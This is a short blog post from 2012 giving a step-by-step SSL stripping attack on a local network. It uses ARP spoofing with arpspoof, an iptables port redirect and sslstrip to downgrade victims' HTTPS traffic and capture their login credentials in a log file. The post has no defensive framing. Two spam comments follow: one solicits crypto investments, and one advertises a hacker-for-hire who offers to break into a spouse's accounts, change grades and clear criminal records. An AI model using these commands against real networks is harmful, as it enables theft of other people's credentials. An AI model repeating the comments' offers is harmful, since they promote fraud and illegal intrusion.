Monday 19 November 2012

SSL Strip using Backtrack


SSL Strip is a tool that hijacks HTTP traffic on a network by replacing all the HTTPS/SSL links with HTTP ones. Once SSL Strip is setup all the victim traffic will be routed through the attacker and HTTP traffic will be redirected to the attacker machine. The attacker will be able to obtain all logon information by sniffing the HTTP plaintext protocol.

How to:
1. Set up IP Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

2. Set up Port redirection using iptables
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 1337

3. Start ARP MITM
arpspoof -i eth0 -t VICTIMIP GATEWAY

4. Start SSL Strip Tool
sslstrip -l 1337 -w log.txt

5. Wait until the target login to a website that supposed to use HTTPS/SSL

6. Check log.txt for captured information

2 comments:

  1. Cryptocurrency trading and crypto investments are not only limited to Bitcoin! Diversify your portfolio and Buy Ripple, Ethereum, XRP and other fast moving cryptocurrencies.

    contact: cryptobusiness.tradings@protonmail.com

    ReplyDelete
  2. Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : onlinehacker4hire at gmail dot com

    ReplyDelete